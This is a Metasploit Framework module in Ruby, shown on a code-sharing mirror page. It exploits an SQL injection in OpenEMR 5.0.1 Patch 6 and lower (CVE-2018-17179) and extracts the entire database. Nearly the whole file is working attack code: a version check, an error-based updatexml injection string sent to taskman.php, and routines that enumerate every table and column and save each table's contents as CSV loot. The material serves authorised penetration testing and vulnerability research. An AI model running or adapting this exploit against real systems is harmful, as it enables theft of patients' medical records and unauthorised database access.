CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb
Views: 11783
1
require 'csv'
2
3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
class MetasploitModule < Msf::Auxiliary
8
include Msf::Auxiliary::Report
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::SQLi
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'OpenEMR 5.0.1 Patch 6 SQLi Dump',
15
'Description' => '
16
This module exploits a SQLi vulnerability found in
17
OpenEMR version 5.0.1 Patch 6 and lower. The
18
vulnerability allows the contents of the entire
19
database (with exception of log and task tables) to be
20
extracted.
21
This module saves each table as a `.csv` file in your
22
loot directory and has been tested with
23
OpenEMR 5.0.1 (3).
24
',
25
'License' => MSF_LICENSE,
26
'Author' =>
27
[
28
'Will Porter <will.porter[at]lodestonesecurity.com>'
29
],
30
'References' => [
31
['CVE', '2018-17179'],
32
['URL', 'https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617']
33
],
34
'DisclosureDate' => '2019-05-17'
35
))
36
37
register_options(
38
[
39
OptString.new('TARGETURI', [true, 'The base path to the OpenEMR installation', '/openemr'])
40
]
41
)
42
end
43
44
def uri
45
target_uri.path
46
end
47
48
def openemr_version
49
res = send_request_cgi(
50
'method' => 'GET',
51
'uri' => normalize_uri(uri, 'admin.php')
52
)
53
vprint_status("admin.php response code: #{res.code}")
54
document = Nokogiri::HTML(res.body)
55
document.css('tr')[1].css('td')[3].text
56
rescue StandardError
57
''
58
end
59
60
def check
61
# Check version
62
print_status('Trying to detect installed version')
63
version = openemr_version
64
return Exploit::CheckCode::Unknown if version.empty?
65
66
vprint_status("Version #{version} detected")
67
version.sub! ' (', '.'
68
version.sub! ')', ''
69
version.strip!
70
71
return Exploit::CheckCode::Safe unless Rex::Version.new(version) < Rex::Version.new('5.0.1.7')
72
73
Exploit::CheckCode::Appears
74
end
75
76
def get_response(payload)
77
send_request_cgi(
78
'method' => 'GET',
79
'uri' => normalize_uri(uri, 'interface', 'forms', 'eye_mag', 'taskman.php'),
80
'vars_get' => {
81
'action' => 'make_task',
82
'from_id' => '1',
83
'to_id' => '1',
84
'pid' => '1',
85
'doc_type' => '1',
86
'doc_id' => '1',
87
'enc' => "1' and updatexml(1,concat(0x7e, (#{payload})),0) or '"
88
}
89
)
90
end
91
92
def save_csv(data, table)
93
# Use the same gsub pattern as store_loot
94
# this will put the first 8 safe characters of the tablename
95
# in the filename in the loot directory
96
safe_table = table.gsub(/[^a-z0-9\.\_]+/i, '')
97
store_loot(
98
"openemr.#{safe_table}.dump",
99
'application/CSV',
100
rhost,
101
data.map(&:to_csv).join,
102
"#{safe_table}.csv"
103
)
104
end
105
106
def dump_all
107
sqli_opts = {
108
truncation_length: 31, # slices of 31 bytes of the query response are returned
109
encoder: :base64, # the web application messes up multibyte characters, better encode
110
verbose: datastore['VERBOSE']
111
}
112
sqli = create_sqli(dbms: MySQLi::Common, opts: sqli_opts) do |payload|
113
res = get_response(payload)
114
if res && (response = res.body[%r{XPATH syntax error: '~(.*?)'</font>}m, 1])
115
response
116
else
117
''
118
end
119
end
120
unless sqli.test_vulnerable
121
fail_with Failure::NotVulnerable, 'The target does not seem vulnerable.'
122
end
123
print_good 'The target seems vulnerable.'
124
db_version = sqli.version
125
print_status("DB Version: #{db_version}")
126
print_status('Enumerating tables, this may take a moment...')
127
tables = sqli.enum_table_names
128
num_tables = tables.length
129
print_status("Identified #{num_tables} tables.")
130
# These tables are impossible to fetch because they increase each request
131
skiptables = %w[form_taskman log log_comment_encrypt]
132
# large table containing text in different languages, >4mb in size
133
skiptables << 'lang_definitions'
134
tables.each_with_index do |table, i|
135
if skiptables.include?(table)
136
print_status("Skipping table (#{i + 1}/#{num_tables}): #{table}")
137
else
138
columns_of_table = sqli.enum_table_columns(table)
139
print_status("Dumping table (#{i + 1}/#{num_tables}): #{table}(#{columns_of_table.join(', ')})")
140
table_data = sqli.dump_table_fields(table, columns_of_table)
141
table_data.unshift(columns_of_table)
142
save_csv(table_data, table)
143
end
144
end
145
print_status("Dumped all tables to #{Msf::Config.loot_directory}")
146
end
147
148
def run
149
dump_all
150
end
151
end
152
153